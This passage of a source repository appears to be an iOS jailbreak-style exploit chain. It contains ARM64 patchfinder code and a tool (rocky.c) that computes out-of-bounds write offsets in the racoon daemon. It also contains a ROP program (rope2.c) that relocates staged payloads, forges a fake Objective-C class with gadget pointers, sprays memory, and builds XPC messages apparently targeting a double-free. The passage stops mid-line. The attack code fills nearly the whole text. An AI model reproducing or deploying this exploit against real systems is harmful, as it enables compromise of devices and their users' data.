be 4, and 66 | for "abcdd" we again skip on 'd' but the value will be only 1. 67 | The alternative of pretending that the mismatched character was 68 | the last character is slower in the normal case (E.g. finding 69 | "abcd" in "...azcd..." gives 4 by using 'd' but only 70 | 4-2==2 using 'z'. */ 71 | hlen -= bad_char_skip[haystack[last]]; 72 | haystack += bad_char_skip[haystack[last]]; 73 | } 74 | 75 | return NULL; 76 | } 77 | 78 | /* disassembler **************************************************************/ 79 | 80 | static int HighestSetBit(int N, uint32_t imm) 81 | { 82 | int i; 83 | for (i = N - 1; i >= 0; i--) { 84 | if (imm & (1 << i)) { 85 | return i; 86 | } 87 | } 88 | return -1; 89 | } 90 | 91 | static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width 92 | { 93 | (void)N; 94 | return ((uint64_t)1 << M) - 1; 95 | } 96 | 97 | static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R) 98 | { 99 | uint64_t val = ZeroExtendOnes(M, N); 100 | if (R == 0) { 101 | return val; 102 | } 103 | return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R)); 104 | } 105 | 106 | static uint64_t Replicate(uint64_t val, unsigned bits) 107 | { 108 | uint64_t ret = val; 109 | unsigned shift; 110 | for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64 111 | ret |= (val << shift); 112 | } 113 | return ret; 114 | } 115 | 116 | static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval) 117 | { 118 | unsigned levels, S, R, esize; 119 | int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F)); 120 | if (len < 1) { 121 | return -1; 122 | } 123 | levels = ZeroExtendOnes(len, 6); 124 | if (immediate && (imms & levels) == levels) { 125 | return -1; 126 | } 127 | S = imms & levels; 128 | R = immr & levels; 129 | esize = 1 << len; 130 | *newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize); 131 | return 0; 132 | } 133 | 134 | static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval) 135 | { 136 | unsigned o = (opcode >> 29) & 3; 137 | unsigned k = (opcode >> 23) & 0x3F; 138 | unsigned rn, rd; 139 | uint64_t i; 140 | 141 | if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate) 142 | unsigned s = (opcode >> 31) & 1; 143 | unsigned N = (opcode >> 22) & 1; 144 | if (s == 0 && N != 0) { 145 | return -1; 146 | } 147 | rn = (opcode >> 5) & 0x1F; 148 | if (rn == 31) { 149 | unsigned imms = (opcode >> 10) & 0x3F; 150 | unsigned immr = (opcode >> 16) & 0x3F; 151 | return DecodeBitMasks(N, imms, immr, 1, newval); 152 | } 153 | } else if (k == 0x25) { // MOVN/MOVZ/MOVK 154 | unsigned s = (opcode >> 31) & 1; 155 | unsigned h = (opcode >> 21) & 3; 156 | if (s == 0 && h > 1) { 157 | return -1; 158 | } 159 | i = (opcode >> 5) & 0xFFFF; 160 | h *= 16; 161 | i <<= h; 162 | if (o == 0) { // MOVN 163 | *newval = ~i; 164 | return 0; 165 | } else if (o == 2) { // MOVZ 166 | *newval = i; 167 | return 0; 168 | } else if (o == 3 && !first) { // MOVK 169 | *newval = (total & ~((uint64_t)0xFFFF << h)) | i; 170 | return 0; 171 | } 172 | } else if ((k | 1) == 0x23 && !first) { // ADD (immediate) 173 | unsigned h = (opcode >> 22) & 3; 174 | if (h > 1) { 175 | return -1; 176 | } 177 | rd = opcode & 0x1F; 178 | rn = (opcode >> 5) & 0x1F; 179 | if (rd != rn) { 180 | return -1; 181 | } 182 | i = (opcode >> 10) & 0xFFF; 183 | h *= 12; 184 | i <<= h; 185 | if (o & 2) { // SUB 186 | *newval = total - i; 187 | return 0; 188 | } else { // ADD 189 | *newval = total + i; 190 | return 0; 191 | } 192 | } 193 | 194 | return -1; 195 | } 196 | 197 | /* patchfinder ***************************************************************/ 198 | 199 | static addr_t 200 | step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) 201 | { 202 | addr_t end = start + length; 203 | while (start < end) { 204 | uint32_t x = *(uint32_t *)(buf + start); 205 | if ((x & mask) == what) { 206 | return start; 207 | } 208 | start += 4; 209 | } 210 | return 0; 211 | } 212 | 213 | static addr_t 214 | step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) 215 | { 216 | addr_t end = start - length; 217 | while (start >= end) { 218 | uint32_t x = *(uint32_t *)(buf + start); 219 | if ((x & mask) == what) { 220 | return start; 221 | } 222 | start -= 4; 223 | } 224 | return 0; 225 | } 226 | 227 | static addr_t 228 | bof64(const uint8_t *buf, addr_t start, addr_t where) 229 | { 230 | for (; where >= start; where -= 4) { 231 | uint32_t op = *(uint32_t *)(buf + where); 232 | if ((op & 0xFFC003FF) == 0x910003FD) { 233 | unsigned delta = (op >> 10) & 0xFFF; 234 | //printf("%x: ADD X29, SP, #0x%x\n", where, delta); 235 | if ((delta & 0xF) == 0) { 236 | addr_t prev = where - ((delta >> 4) + 1) * 4; 237 | uint32_t au = *(uint32_t *)(buf + prev); 238 | if ((au & 0xFFC003E0) == 0xA98003E0) { 239 | //printf("%x: STP x, y, [SP,#-imm]!\n", prev); 240 | return prev; 241 | } 242 | // try something else 243 | while (where > start) { 244 | where -= 4; 245 | au = *(uint32_t *)(buf + where); 246 | // SUB SP, SP, #imm 247 | if ((au & 0xFFC003FF) == 0xD10003FF && ((au >> 10) & 0xFFF) == delta + 0x10) { 248 | return where; 249 | } 250 | // STP x, y, [SP,#imm] 251 | if ((au & 0xFFC003E0) != 0xA90003E0) { 252 | where += 4; 253 | break; 254 | } 255 | } 256 | } 257 | } 258 | } 259 | return 0; 260 | } 261 | 262 | static addr_t 263 | xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what) 264 | { 265 | addr_t i; 266 | uint64_t value[32]; 267 | 268 | memset(value, 0, sizeof(value)); 269 | 270 | end &= ~3; 271 | for (i = start & ~3; i < end; i += 4) { 272 | uint32_t op = *(uint32_t *)(buf + i); 273 | unsigned reg = op & 0x1F; 274 | if ((op & 0x9F000000) == 0x90000000) { 275 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 276 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); 277 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF); 278 | continue; // XXX should not XREF on its own? 279 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { 280 | unsigned rd = op & 0x1F; 281 | unsigned rm = (op >> 16) & 0x1F; 282 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm); 283 | value[rd] = value[rm];*/ 284 | } else if ((op & 0xFF000000) == 0x91000000) { 285 | unsigned rn = (op >> 5) & 0x1F; 286 | unsigned shift = (op >> 22) & 3; 287 | unsigned imm = (op >> 10) & 0xFFF; 288 | if (shift == 1) { 289 | imm <<= 12; 290 | } else { 291 | //assert(shift == 0); 292 | if (shift > 1) continue; 293 | } 294 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); 295 | value[reg] = value[rn] + imm; 296 | } else if ((op & 0xF9C00000) == 0xF9400000) { 297 | unsigned rn = (op >> 5) & 0x1F; 298 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 299 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 300 | if (!imm) continue; // XXX not counted as true xref 301 | value[reg] = value[rn] + imm; // XXX address, not actual value 302 | /*} else if ((op & 0xF9C00000) == 0xF9000000) { 303 | unsigned rn = (op >> 5) & 0x1F; 304 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 305 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 306 | if (!imm) continue; // XXX not counted as true xref 307 | value[rn] = value[rn] + imm; // XXX address, not actual value*/ 308 | } else if ((op & 0x9F000000) == 0x10000000) { 309 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 310 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); 311 | value[reg] = ((long long)adr >> 11) + i; 312 | } else if ((op & 0xFF000000) == 0x58000000) { 313 | unsigned adr = (op & 0xFFFFE0) >> 3; 314 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); 315 | value[reg] = adr + i; // XXX address, not actual value 316 | } 317 | if (value[reg] == what) { 318 | return i; 319 | } 320 | } 321 | return 0; 322 | } 323 | 324 | static addr_t 325 | calc64(const uint8_t *buf, addr_t start, addr_t end, int which) 326 | { 327 | addr_t i; 328 | uint64_t value[32]; 329 | 330 | memset(value, 0, sizeof(value)); 331 | 332 | end &= ~3; 333 | for (i = start & ~3; i < end; i += 4) { 334 | uint32_t op = *(uint32_t *)(buf + i); 335 | unsigned reg = op & 0x1F; 336 | if ((op & 0x9F000000) == 0x90000000) { 337 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 338 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); 339 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF); 340 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { 341 | unsigned rd = op & 0x1F; 342 | unsigned rm = (op >> 16) & 0x1F; 343 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm); 344 | value[rd] = value[rm];*/ 345 | } else if ((op & 0xFF000000) == 0x91000000) { 346 | unsigned rn = (op >> 5) & 0x1F; 347 | unsigned shift = (op >> 22) & 3; 348 | unsigned imm = (op >> 10) & 0xFFF; 349 | if (shift == 1) { 350 | imm <<= 12; 351 | } else { 352 | //assert(shift == 0); 353 | if (shift > 1) continue; 354 | } 355 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); 356 | value[reg] = value[rn] + imm; 357 | } else if ((op & 0xF9C00000) == 0xF9400000) { 358 | unsigned rn = (op >> 5) & 0x1F; 359 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 360 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 361 | if (!imm) continue; // XXX not counted as true xref 362 | value[reg] = value[rn] + imm; // XXX address, not actual value 363 | } else if ((op & 0xF9C00000) == 0xB9400000) { 364 | unsigned rn = (op >> 5) & 0x1F; 365 | unsigned imm = ((op >> 10) & 0xFFF) << 2; 366 | //printf("%llx: LDR W%d, [X%d, 0x%x]\n", i, reg, rn, imm); 367 | if (!imm) continue; // XXX not counted as true xref 368 | value[reg] = value[rn] + imm; // XXX address, not actual value 369 | } else if ((op & 0xF9C00000) == 0xF9000000) { 370 | unsigned rn = (op >> 5) & 0x1F; 371 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 372 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 373 | if (!imm) continue; // XXX not counted as true xref 374 | value[reg] = value[rn] + imm; // XXX address, not actual value 375 | } else if ((op & 0xF9C00000) == 0xB9000000) { 376 | unsigned rn = (op >> 5) & 0x1F; 377 | unsigned imm = ((op >> 10) & 0xFFF) << 2; 378 | //printf("%llx: STR W%d, [X%d, 0x%x]\n", i, reg, rn, imm); 379 | if (!imm) continue; // XXX not counted as true xref 380 | value[reg] = value[rn] + imm; // XXX address, not actual value 381 | } else if ((op & 0x9F000000) == 0x10000000) { 382 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 383 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); 384 | value[reg] = ((long long)adr >> 11) + i; 385 | } else if ((op & 0xFF000000) == 0x58000000) { 386 | unsigned adr = (op & 0xFFFFE0) >> 3; 387 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); 388 | value[reg] = adr + i; // XXX address, not actual value 389 | } 390 | } 391 | return value[which]; 392 | } 393 | 394 | static addr_t 395 | calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which) 396 | { 397 | addr_t i; 398 | uint64_t value[32]; 399 | 400 | memset(value, 0, sizeof(value)); 401 | 402 | end &= ~3; 403 | for (i = start & ~3; i < end; i += 4) { 404 | uint32_t op = *(uint32_t *)(buf + i); 405 | unsigned reg = op & 0x1F; 406 | uint64_t newval; 407 | int rv = DecodeMov(op, value[reg], 0, &newval); 408 | if (rv == 0) { 409 | if (((op >> 31) & 1) == 0) { 410 | newval &= 0xFFFFFFFF; 411 | } 412 | value[reg] = newval; 413 | } 414 | } 415 | return value[which]; 416 | } 417 | 418 | static addr_t 419 | find_call64(const uint8_t *buf, addr_t start, size_t length) 420 | { 421 | return step64(buf, start, length, 0x94000000, 0xFC000000); 422 | } 423 | 424 | static addr_t 425 | follow_call64(const uint8_t *buf, addr_t call) 426 | { 427 | long long w; 428 | w = *(uint32_t *)(buf + call) & 0x3FFFFFF; 429 | w <<= 64 - 26; 430 | w >>= 64 - 26 - 2; 431 | return call + w; 432 | } 433 | 434 | static addr_t 435 | follow_cbz(const uint8_t *buf, addr_t cbz) 436 | { 437 | return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13); 438 | } 439 | 440 | static addr_t 441 | xref64code(const uint8_t *buf, addr_t start, addr_t end, addr_t what) 442 | { 443 | addr_t i; 444 | 445 | end &= ~3; 446 | for (i = start & ~3; i < end; i += 4) { 447 | uint32_t op = *(uint32_t *)(buf + i); 448 | if ((op & 0x7C000000) == 0x14000000) { 449 | addr_t where = follow_call64(buf, i); 450 | //printf("%llx: B[L] 0x%llx\n", i + kerndumpbase, kerndumpbase + where); 451 | if (where == what) { 452 | return i; 453 | } 454 | } 455 | } 456 | return 0; 457 | } 458 | 459 | #define INSN_RET 0xD65F03C0, 0xFFFFFFFF 460 | #define INSN_CALL 0x94000000, 0xFC000000 461 | #define INSN_B 0x14000000, 0xFC000000 462 | #define INSN_CBZ 0x34000000, 0xFC000000 463 | #define INSN_BLR 0xD63F0000, 0xFFFFFC1F 464 | -------------------------------------------------------------------------------- /racoon: -------------------------------------------------------------------------------- 1 | device/racoon -------------------------------------------------------------------------------- /rel2.c: -------------------------------------------------------------------------------- 1 | ;// `rope` was defined outside us (in header) and so is `rope_end` 2 | ;// our caller stashed the slide in the first word, that is `rope` 3 | ;// relocations start with a 0 and are relative to `rope` 4 | 5 | stash = &rope; 6 | slide = *stash; 7 | cur2 = &rope_end; 8 | do { 9 | cur2 = cur2 - 8; 10 | off2 = *cur2; 11 | ptr2_dst = ptr2_src = &rope + off2; 12 | *ptr2_dst = *ptr2_src + slide; 13 | } while (off2); // XXX this construct will add an extra slide to offset=0, but ok 14 | -------------------------------------------------------------------------------- /rocky.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "patchfinder64.c" 13 | 14 | static addr_t 15 | offsetof__struct_localconf__retry_counter(const uint8_t *p, off_t sz) 16 | { 17 | addr_t ref, bof, call, val; 18 | uint8_t *q = boyermoore_horspool_memmem(p, sz, (uint8_t *)"Adding NON-ESP marker\n", sizeof("Adding NON-ESP marker\n") - 1); 19 | assert(q); 20 | ref = xref64(p, 0, q - p, q - p); 21 | assert(ref); 22 | bof = bof64(p, 0, ref); 23 | assert(bof); 24 | call = find_call64(p, bof, ref - bof); 25 | assert(call); 26 | val = calc64(p, bof, call, 8); 27 | assert(val); 28 | return val; 29 | } 30 | 31 | static addr_t 32 | addressof__lcconf(const uint8_t *p, off_t sz) 33 | { 34 | addr_t ref, bof, call, val; 35 | uint8_t *q = boyermoore_horspool_memmem(p, sz, (uint8_t *)"Adding NON-ESP marker\n", sizeof("Adding NON-ESP marker\n") - 1); 36 | assert(q); 37 | ref = xref64(p, 0, q - p, q - p); 38 | assert(ref); 39 | bof = bof64(p, 0, ref); 40 | assert(bof); 41 | call = find_call64(p, bof, ref - bof); 42 | assert(call); 43 | val = calc64(p, bof, call, 26); 44 | assert(val); 45 | return val; 46 | } 47 | 48 | static addr_t 49 | addressof__isakmp_cfg_config__dns4(const uint8_t *p, off_t sz) 50 | { 51 | addr_t ref, bof, call, val; 52 | uint8_t *q = boyermoore_horspool_memmem(p, sz, (uint8_t *)"bad IPv4 DNS address.", sizeof("bad IPv4 DNS address.") - 1); 53 | assert(q); 54 | ref = xref64(p, 0, q - p, q - p); 55 | assert(ref); 56 | val = calc64(p, ref - 64, ref, 10); 57 | assert(val); 58 | val -= 12; 59 | return val; 60 | } 61 | 62 | static int 63 | really(const uint8_t *p, off_t sz, const char *output) 64 | { 65 | addr_t bias = offsetof__struct_localconf__retry_counter(p, sz); 66 | long lcconf = addressof__lcconf(p, sz); 67 | long dns4 = addressof__isakmp_cfg_config__dns4(p, sz); 68 | long distance = (lcconf - dns4) / 4; 69 | FILE *f = stdout; 70 | if (output) { 71 | f = fopen(output, "wt"); 72 | } 73 | fprintf(f, "// automatically generated by rocky. do not edit\n"); 74 | fprintf(f, "#define WRITE_BIAS 0x%llx\n", bias); 75 | fprintf(f, "#define OOB_WRITE %ld\n", distance); 76 | if (output) { 77 | fclose(f); 78 | } 79 | return 0; 80 | } 81 | 82 | static int 83 | do_the_racoon(const char *filename, const char *output) 84 | { 85 | int rv; 86 | int fd; 87 | uint8_t *p; 88 | off_t sz; 89 | 90 | fd = open(filename, O_RDONLY); 91 | if (fd < 0) { 92 | fprintf(stderr, "error: cannot open %s\n", filename); 93 | return -1; 94 | } 95 | 96 | sz = lseek(fd, 0, SEEK_END); 97 | 98 | p = mmap(NULL, sz, PROT_READ, MAP_PRIVATE, fd, 0); 99 | if (p == MAP_FAILED) { 100 | close(fd); 101 | fprintf(stderr, "error: cannot map %s\n", filename); 102 | return -1; 103 | } 104 | 105 | assert(MACHO(p)); 106 | rv = really(p, sz, output); 107 | 108 | munmap(p, sz); 109 | close(fd); 110 | 111 | if (rv != 0) { 112 | fprintf(stderr, "error: cannot parse %s\n", filename); 113 | return -1; 114 | } 115 | 116 | return 0; 117 | } 118 | 119 | int 120 | main(int argc, char **argv) 121 | { 122 | if (argc < 2) { 123 | printf("usage: %s racoon [output]\n", argv[0]); 124 | return 1; 125 | } 126 | return do_the_racoon(argv[1], argv[2]); 127 | } 128 | -------------------------------------------------------------------------------- /ropc: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | test -x ropc-arm64 || (git clone https://github.com/xerub/ropc ropc-git && (cd ropc-git && ./Build.sh arm64) && ln -sf ropc-git/ropc-arm64 ropc-arm64) && exec ./ropc-arm64 "$@" 4 | -------------------------------------------------------------------------------- /rope2.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | #include "config2.h" 3 | 4 | extern IORegistryEntryFromPath; 5 | extern IORegistryEntryGetProperty; 6 | extern kIOMasterPortDefault; 7 | extern CFShow; 8 | extern _NSConcreteGlobalBlock; 9 | extern _dispatch_data_destructor_vm_deallocate; 10 | extern _platform_memmove; 11 | extern _platform_memset; 12 | extern access; 13 | extern calloc; 14 | extern close; 15 | extern creat; 16 | extern dispatch_data_create; 17 | extern dispatch_release; 18 | extern dlopen; 19 | extern exit [[noreturn]]; 20 | extern free; 21 | extern getpid; 22 | extern mach_task_self_; 23 | extern mach_vm_allocate; 24 | extern mach_vm_remap; 25 | extern malloc; 26 | extern munmap; 27 | extern printf [[regparm = 1]]; 28 | extern sel_registerName; 29 | extern sleep; 30 | extern sprintf [[regparm = 2]]; 31 | extern strstr; 32 | extern usleep; 33 | extern write; 34 | extern xpc_array_append_value; 35 | extern xpc_array_create; 36 | extern xpc_connection_create_mach_service; 37 | extern xpc_connection_resume; 38 | extern xpc_connection_send_barrier; 39 | extern xpc_connection_send_message; 40 | extern xpc_connection_set_event_handler; 41 | extern xpc_data_create_with_dispatch_data; 42 | extern xpc_dictionary_create; 43 | extern xpc_dictionary_set_int64; 44 | extern xpc_dictionary_set_string; 45 | extern xpc_dictionary_set_value; 46 | extern xpc_release; 47 | extern shared_cache_slide = 0; // XXX nasty trick to make our own relocator store the slide here 48 | 49 | /////////////// libc /////////////// 50 | 51 | #define NULL 0 52 | #define FALSE 0 53 | 54 | #define F_OK 0 /* test for existence of file */ 55 | 56 | #define XPC_CONNECTION_MACH_SERVICE_PRIVILEGED 2 57 | 58 | #define VM_FLAGS_FIXED 0x0000 59 | #define VM_FLAGS_ANYWHERE 0x0001 60 | #define VM_FLAGS_OVERWRITE 0x4000 /* delete any existing mappings first */ 61 | 62 | #define VM_INHERIT_NONE 2 /* absent from child */ 63 | 64 | #define RTLD_LAZY 0x1 65 | #define RTLD_NOW 0x2 66 | #define RTLD_LOCAL 0x4 67 | #define RTLD_GLOBAL 0x8 68 | 69 | /////////////// config stuff /////////////// 70 | 71 | #define FILL_DICT_COUNT 0x100 // number of strings in spray_dict 72 | #define FILL_COUNT 0x1000 // number of spray_dict elements in the array 73 | #define FREE_COUNT 0x2000 // number of legit free in order to increase time window between double-free 74 | #define FILL_SIZE (0xa8 + 24) // number of bytes in the replacer string (should be same as xpc_dictionary) 75 | 76 | #define GUESS_ADDR 0x120011000 // we are targeting this address in remote process 77 | #define GUESS_SHIFT 0x20 // we are placing our fake object at this offset, to avoid zero bytes 78 | #define GUESS_HIGH 0x4142410000000000 // we must trash these bytes to avoid zero bytes (luckily for us, they get shaven off) 79 | 80 | #define PAYLOAD_SIZE 0x1000 81 | #define PAYLOAD_COUNT_PER_BLOCK 4 82 | #define PAYLOAD_BLOCKS_PER_MAPPING 256 83 | #define PAYLOAD_MAPPING_COUNT 128//256 84 | 85 | #define block_size PAYLOAD_SIZE * PAYLOAD_COUNT_PER_BLOCK 86 | #define mapping_size block_size * PAYLOAD_BLOCKS_PER_MAPPING 87 | 88 | /////////////// begin /////////////// 89 | 90 | ;// XXX we must fix up the memmove (memmove_lazy must be provided and was already slid by startup code) 91 | *memmove_lazy = _platform_memmove; 92 | [[stack]]munmap(FAKE_SHARED_CACHE_ADDR, FAKE_SHARED_CACHE_SIZE); 93 | 94 | printf("slide = 0x%lx\n", shared_cache_slide); 95 | 96 | // failsafe 97 | if (registry_entry = [[stack=0x2000]]IORegistryEntryFromPath(*kIOMasterPortDefault, "IODeviceTree:/options")) { 98 | volatile boot_args_size = 512; 99 | volatile boot_args = calloc(1, boot_args_size); 100 | if !(IORegistryEntryGetProperty(registry_entry, "boot-args", boot_args, &boot_args_size)) { 101 | printf("boot-args = %.*s\n", boot_args_size, boot_args); 102 | if (strstr(boot_args, "i-can-haz-stable-system")) { 103 | exit(11); 104 | } 105 | } 106 | } 107 | 108 | // relocate stage4 109 | // relocations are appended to the real image, starting with 0 110 | // the relocs are parsed backwards, until 0 (inclusive, thus setting stage4[0] = slide) 111 | 112 | cur4 = &stage4_end; 113 | do { 114 | cur4 = cur4 - 8; 115 | off4 = *cur4; 116 | ptr4_dst = ptr4_src = &stage4_begin + off4; 117 | *ptr4_dst = *ptr4_src + shared_cache_slide; 118 | } while (off4); // XXX this construct will add an extra slide to offset=0, but ok 119 | stage4_size = cur4 - &stage4_begin; 120 | 121 | // relocate stage3 122 | // relocations are appended to the real image, starting with 0 123 | // the relocs are parsed backwards, until 0 (exclusive, leave stage3[0] intact) 124 | 125 | cur3 = &stage3_end; 126 | while (1) { 127 | cur3 = cur3 - 8; 128 | if !(off3 = *cur3) { 129 | break; 130 | } 131 | ptr3_dst = ptr3_src = &stage3_begin + off3; 132 | *ptr3_dst = *ptr3_src + shared_cache_slide; 133 | } 134 | stage3_size = cur3 - &stage3_begin + STAGE3_FAKE_OBJECT_SZ; 135 | 136 | // write the relocated stage4 to disk 137 | 138 | fd4 = fd4_ = creat(STAGE4_NAME, 420); 139 | write(fd4_, &stage4_begin, stage4_size); 140 | close(fd4); 141 | 142 | // XXX make sure we got all the objective-c stuff ready 143 | dlopen("/System/Library/Frameworks/Foundation.framework/Foundation", RTLD_LAZY); 144 | 145 | /* 146 | pivot_from_10: 147 | f9404940 ldr x0, [x10, #0x90] 148 | f9400008 ldr x8, [x0] 149 | f9406508 ldr x8, [x8, #0xc8] 150 | d63f0100 blr x8 151 | 152 | jmp_4args: 153 | a9420408 ldp x8, x1, [x0, #0x20] 154 | a9430c02 ldp x2, x3, [x0, #0x30] 155 | f9400904 ldr x4, [x8, #0x10] 156 | aa0803e0 mov x0, x8 157 | d61f0080 br x4 158 | 159 | lea_x0_jmp_x8: 160 | f9400108 ldr x8, [x8] 161 | 910023e0 add x0, sp, #8 162 | d63f0100 blr x8 163 | */ 164 | 165 | fake_30 = &fake + GUESS_SHIFT + 0x10; 166 | fake_38 = &fake + GUESS_SHIFT + 0x18; 167 | fake_40 = &fake + GUESS_SHIFT + 0x20; 168 | fake_48 = &fake + GUESS_SHIFT + 0x28; 169 | fake_80 = &fake + 0x80; 170 | fake_a0 = &fake + 0x80 + 0x20; 171 | fake_a8 = &fake + 0x80 + 0x28; 172 | fake_b0 = &fake + 0x80 + 0x30; 173 | // fake_b8 = &fake + 0x80 + 0x38; 174 | fake_c8 = &fake + 0xc8; 175 | fake_d0 = &fake + GUESS_SHIFT + 0x20 + 0x90; 176 | fake_e0 = &fake + 0xe0 + 0x00; 177 | fake_f0 = &fake + 0xe0 + 0x10; 178 | 179 | #if 0 180 | struct heap_spray { 181 | void *fake_objc_class_ptr; // isa ---+ 182 | // ... // | 183 | }; // | 184 | // | 185 | struct fake { // guess | 186 | char shift[GUESS_SHIFT]; // | 187 | struct fake_objc_class_t { // <------+ 188 | char pad[16]; 189 | void *cache_buckets_ptr; // -------+ 190 | uint64_t cache_bucket_mask; // 0 | 191 | } fake_objc_class; // | 192 | // ... // | 193 | struct fake_cache_bucket_t { // <------+ 194 | void *cached_sel; // sel_registerName("dealloc") 195 | void *cached_function; // pc 196 | } fake_cache_bucket; 197 | }; 198 | #endif 199 | 200 | *fake_48 = gadget_pivot_from_10; 201 | *fake_d0 = GUESS_ADDR + 0x80; 202 | *fake_80 = GUESS_ADDR; 203 | *fake_c8 = gadget_jmp_4args; 204 | 205 | *fake_a0 = GUESS_ADDR + 0xe0; 206 | *fake_a8 = GUESS_ADDR + STAGE3_FAKE_OBJECT_SZ + 8; 207 | *fake_b0 = STAGE3_USEFUL_SIZE; 208 | // *fake_b8 = 0x7a7a7a7a7a7a7a7a; 209 | 210 | *fake_f0 = gadget_lea_x0_jmp_x8; 211 | *fake_e0 = _platform_memmove_plus4; // _platform_memmove + 4 212 | 213 | *fake_30 = GUESS_ADDR + GUESS_SHIFT + 0x20; 214 | *fake_38 = 0; 215 | *fake_40 = sel_registerName("dealloc"); 216 | 217 | // Generate a large mapping consisting of many copies of the given data. Note that changes to the 218 | // beginning of the mapping will be reflected to other parts of the mapping, but possibly only if 219 | // the other parts of the mapping are not accessed directly. 220 | 221 | // Repeat the payload several times to create a bigger payload block. This helps with the 222 | // remapping process. 223 | payload_block = payload_block_cur = malloc(block_size); 224 | 225 | i = PAYLOAD_COUNT_PER_BLOCK; 226 | do { 227 | _platform_memmove(payload_block_cur, &fake, stage3_size); 228 | payload_block_cur = payload_block_cur + PAYLOAD_SIZE; 229 | } while (i = i - 1); 230 | 231 | // Now create an even larger copy of that payload block by remapping it several times 232 | // consecutively. This object will take up the same amount of memory as the single payload 233 | // block, despite covering a large virtual address range. 234 | 235 | // Generate the large mapping. 236 | volatile mapping = 0; 237 | mach_vm_allocate(*mach_task_self_, &mapping, mapping_size, VM_FLAGS_ANYWHERE); 238 | 239 | // Re-allocate the first segment of this mapping for the master slice. Not sure if this is 240 | // necessary. 241 | mach_vm_allocate(*mach_task_self_, &mapping, block_size, VM_FLAGS_FIXED + VM_FLAGS_OVERWRITE); 242 | 243 | // Copy in the data into the master slice. 244 | _platform_memmove(mapping, payload_block, block_size); 245 | 246 | // Now re-map the master slice onto the other slices. 247 | protection = { 0, 0 }; 248 | remap_address = mapping; 249 | j = PAYLOAD_BLOCKS_PER_MAPPING; 250 | do { 251 | mach_vm_remap(*mach_task_self_, &remap_address, block_size, 0, VM_FLAGS_FIXED + VM_FLAGS_OVERWRITE, *mach_task_self_, mapping, FALSE, protection, protection + 8, VM_INHERIT_NONE); 252 | remap_address = remap_address + block_size; 253 | } while (j = j - 1); 254 | 255 | // All set! We should have one big memory object now. 256 | ;// XXX free(payload_block); 257 | 258 | // Wrap the payload mapping in a dispatch_data_t so that it isn't copied, then wrap that in 259 | // an XPC data object. We leverage the internal DISPATCH_DATA_DESTRUCTOR_VM_DEALLOCATE data 260 | // destructor so that dispatch_data_make_memory_entry() doesn't try to remap the data 261 | // (which would cause us to be killed by Jetsam). 262 | _dispatch_data_create = dispatch_data_create(); // XXX deal with _dispatch_data_create$VARIANT$armv81 specialization 263 | dispatch_data = dispatch_data2 = _dispatch_data_create(mapping, mapping_size, NULL, *_dispatch_data_destructor_vm_deallocate); 264 | map = xpc_data_create_with_dispatch_data(dispatch_data); 265 | dispatch_release(dispatch_data2); 266 | 267 | /////////////// build huge_dict /////////////// 268 | 269 | huge_dict = huge_dict2 = huge_dict3 = xpc_dictionary_create(NULL, NULL, 0); 270 | 271 | volatile arr = xpc_array_create(NULL, 0); // XXX needs to be volatile because the sequence after the loop 272 | spray_dict = xpc_dictionary_create(NULL, NULL, 0); // XXX not need to be volatile, because its protected by the loop auto-stack 273 | 274 | key = { 0, 0, 0, 0 }; 275 | k = PAYLOAD_MAPPING_COUNT; 276 | do { 277 | sprintf(key, "%d", k); 278 | xpc_dictionary_set_value(spray_dict, key, map); 279 | } while (k = k - 1); 280 | xpc_array_append_value(arr, spray_dict); 281 | 282 | xpc_dictionary_set_int64(huge_dict2, "CFPreferencesOperation", 5); 283 | xpc_dictionary_set_value(huge_dict3, 